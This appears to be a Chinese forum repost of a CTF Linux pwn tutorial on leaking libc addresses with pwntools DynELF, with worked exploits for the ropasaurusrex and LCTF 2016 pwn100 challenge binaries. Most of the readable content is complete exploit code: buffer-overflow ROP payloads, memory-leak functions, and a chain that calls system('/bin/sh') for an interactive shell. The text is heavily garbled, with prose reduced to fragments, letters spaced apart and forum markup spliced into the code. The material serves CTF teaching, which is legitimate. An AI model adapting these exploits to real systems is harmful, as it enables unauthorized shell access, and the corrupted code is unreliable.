[19509] 2019-07-23_CTF必备技能丨LinuxPwn入门教程——利用漏洞获取libc

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2019-07-23_CTF必备技能丨LinuxPwn入门教程——利用漏洞获取libc C T F L i n u x   P w n l i b c i   2 0 1 9 - 0 7 - 2 3 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n i L i n u x   P w n l i b c 1 2 D y n E L F s y s t e m l i b c l i b c l i b c s y s t e m 使 l i b c l i b c p w n t o o l s D y n E L F D y n E L F l h t t p : / / d o c s . p w n t o o l s . c o m / e n / s t a b l e / d y n e l f . h t m l D y n E L F E L F D y n E L F 使 i o   =   r e m o t e ( i p ,   p o r t )   d e f   l e a k ( a d d r ) :               p a y l o a d 2 l e a k _ a d d r   =   * * * *   +   p a c k ( a d d r )   +   * * * *               i o . s e n d ( p a y l o a d 2 l e a k _ a d d r )               d a t a   =   i o . r e c v ( )               r e t u r n   d a t a  
使 D y n E L F 使 l e a k E L F 使 E L F D y n E L F d d l o o k u p l i b c l e a k 使 D y n E L F i n t a d d r D y n E L F l e a k 使 p a y l o a d w r i t e ,   p u t s ,   p r i n t f D y n E L F 使 使 w r i t e w r i t e w r i t e s i z e s i z e 0 ,   n l e a k ~ / P l a i d C T F   2 0 1 3   r o p a s a u r u s r e x / r o p a s a u r u s r e x 3 2 r e a d w r i t e l i b c g o t s y s t e m i n t   8 0 h / s y s c a l l 使 D y n E L F l e a k l i b c s y s t e m R O P E I P 1 4 0 p a y l o a d 使 p a y l o a d E L F 0 x 0 8 0 4 8 0 0 0 w r i t e (   ) 便 d   =   D y n E L F ( l e a k ,   p o i n t e r   =   p o i n t e r _ i n t o _ E L F _ f i l e ,   e l f   =   E L F O b j e c t ) s y s t e m _ a d d r   =   d . l o o k u p ( s y s t e m ,   l i b c ) e l f   =   E L F ( . / r o p a s a u r u s r e x )                   # r o p a s a u r u s r e x   w r i t e _ a d d r   =   e l f . s y m b o l s [ ' w r i t e ' ]   p a y l o a d   =   A * 1 4 0 p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r ) p a y l o a d   + =   p 3 2 ( 0 ) p a y l o a d   + =   p 3 2 ( 1 ) p a y l o a d   + =   p 3 2 ( 0 x 0 8 0 4 8 0 0 0 ) p a y l o a d   + =   p 3 2 ( 8 )
p a y l o a d 使 w r i t e w r i t e w r i t e 使 p o p s t a r t m a i n w r i t e p a y l o a d l e a k p r i n t l e a k d e b u g 使 D y n E L F s y s t e m d e f   l e a k ( a d d r ) :               p a y l o a d   =   ' '               p a y l o a d   + =   ' A ' * 1 4 0                                       # p a d d i n g               p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r )             # w r i t e               p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )   # w r i t e s t a r t               p a y l o a d   + =   p 3 2 ( 1 )                                         # w r i t e f d               p a y l o a d   + =   p 3 2 ( a d d r )                 # w r i t e b u f               p a y l o a d   + =   p 3 2 ( 8 )                                         # w r i t e s i z e               i o . s e n d l i n e ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ : 8 ]               p r i n t ( " % # x   - >   % s "   % ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
D y n E L F r e a d / b i n / s h 便 s y s t e m ( / b i n / s h ) # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 [ / s i z e ] [ / a l i g n ] [ a l i g n = l e f t ] [ s i z e = 3 ] f r o m   p w n   i m p o r t   *   i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) [ / s i z e ] [ / a l i g n ] [ a l i g n = l e f t ] [ s i z e = 3 ] e l f   =   E L F ( ' . / r o p a s a u r u s r e x ' )   s t a r t _ a d d r   =   0 x 0 8 0 4 8 3 4 0 w r i t e _ a d d r   =   e l f . s y m b o l s [ ' w r i t e ' ] b i n s h _ a d d r   =   0 x 0 8 0 4 9 0 0 0   d e f   l e a k ( a d d r ) :               p a y l o a d   =   ' '               p a y l o a d   + =   ' A ' * 1 4 0                                       # p a d d i n g               p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r )             # w r i t e               p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )                 # w r i t e s t a r t               p a y l o a d   + =   p 3 2 ( 1 )                                         # w r i t e f d               p a y l o a d   + =   p 3 2 ( a d d r )                               # w r i t e b u f               p a y l o a d   + =   p 3 2 ( 8 )                                         # w r i t e s i z e               i o . s e n d l i n e ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ : 8 ]               p r i n t ( " % # x   - >   % s "   % ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t   d   =   D y n E L F ( l e a k ,   e l f   =   e l f ) s y s t e m _ a d d r   =   d . l o o k u p ( ' s y s t e m ' ,   ' l i b c ' ) r e a d _ a d d r   =   d . l o o k u p ( ' r e a d ' ,   ' l i b c ' )   l o g . i n f o ( " s y s t e m _ a d d r   =   % # x " ,   s y s t e m _ a d d r ) l o g . i n f o ( " r e a d _ a d d r   =   % # x " ,   r e a d _ a d d r )   p a y l o a d   =   ' ' p a y l o a d   + =   ' A ' * 1 4 0                                                     # p a d d i n g p a y l o a d   + =   p 3 2 ( r e a d _ a d d r )                             # r e a d p a y l o a d   + =   p 3 2 ( s y s t e m _ a d d r )                     # r e a d s y s t e m p a y l o a d   + =   p 3 2 ( 0 )                                                       # r e a d f d / s y s t e m p a y l o a d   + =   p 3 2 ( b i n s h _ a d d r )                           # r e a d b u f / s y s t e m p a y l o a d   + =   p 3 2 ( 8 )                                                       # r e a d s i z e   i o . s e n d l i n e ( p a y l o a d ) i o . s e n d l i n e ( ' / b i n / s h x 0 0 ' ) i o . i n t e r a c t i v e ( )
D y n E L F 使 使 w r i t e C T F   p w n p r i n t f ,   p u t s ~ / L C T F   2 0 1 6 - p w n 1 0 0 / p w n 1 0 0 s u b _ 4 0 0 6 8 E (   )   6 4 r d x g a d g e t g a d g e t s l e a k p u t s r i p 7 2 f r o m   p w n   i m p o r t   *   i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 3 " ,   1 0 0 0 1 ) e l f   =   E L F ( " . / p w n 1 0 0 " )   p u t s _ a d d r   =   e l f . p l t [ ' p u t s ' ] p o p _ r d i   =   0 x 4 0 0 7 6 3   p a y l o a d   =   " A "   * 7 2 p a y l o a d   + =   p 6 4 ( p o p _ r d i ) p a y l o a d   + =   p 6 4 ( 0 x 4 0 0 0 0 0 ) p a y l o a d   + =   p 6 4 ( p u t s _ a d d r ) p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " ) i o . s e n d ( p a y l o a d ) p r i n t   i o . r e c v ( )
p u t s ( b y e ~ ) l e a k l e a k l e a k 0 x 0 a T r a c e b a c k p u t s (   ) ' x 0 0 ' l e a k s t a r t _ a d d r   =   0 x 4 0 0 5 5 0 p o p _ r d i   =   0 x 4 0 0 7 6 3 p u t s _ a d d r   =   e l f . p l t [ ' p u t s ' ]   d e f   l e a k ( a d d r ) :               p a y l o a d   =   " A "   * 7 2               p a y l o a d   + =   p 6 4 ( p o p _ r d i )               p a y l o a d   + =   p 6 4 ( a d d r )               p a y l o a d   + =   p 6 4 ( p u t s _ a d d r )               p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )               p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " )               i o . s e n d ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ 5 : ]               l o g . i n f o ( " % # x   = >   % s "   %   ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
~ / L C T F 2 0 1 6 - p w n 1 0 0 / e x p . p y l i b c D y n E L F d u m p l e a k l i b c l i b c d b . c o m 线 l i b c 使 d e f   l e a k ( a d d r ) :               c o u n t   =   0               u p   =   ' '               c o n t e n t   =   ' '               p a y l o a d   =   ' A ' * 7 2                                                 # p a d d i n g               p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                     # p u t s ( )               p a y l o a d   + =   p 6 4 ( a d d r )                               # l e a k a d d r               p a y l o a d   + =   p 6 4 ( p u t s _ a d d r )                 # p u t s ( )               p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )               # s t a r t               p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   ' B ' )   # p a d d i n g               i o . s e n d ( p a y l o a d )               i o . r e c v u n t i l ( " b y e ~ n " )               w h i l e   T r u e :                                                                                                             # r e c v ( )                             c   =   i o . r e c v ( n u m b = 1 ,   t i m e o u t = 0 . 1 )           #                             c o u n t   + =   1                                                                                                                     i f   u p   = =   ' n '   a n d   c   = =   " " :                                     #                                           c o n t e n t   =   c o n t e n t [ : - 1 ] + ' x 0 0 '         # x 0 0                                           b r e a k                             e l s e :                                           c o n t e n t   + =   c   #                                           u p   =   c         #               c o n t e n t   =   c o n t e n t [ : 4 ]       # D y n E L F               l o g . i n f o ( " % # x   = >   % s "   %   ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
l i b c d b . c o m U b u n t u . 1 7 . 0 4 l i b c 使 l i b c l i b c 使 l i b c L i n u x   P w n   i    
  S h e l l C o d e   R O P   i 沿
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则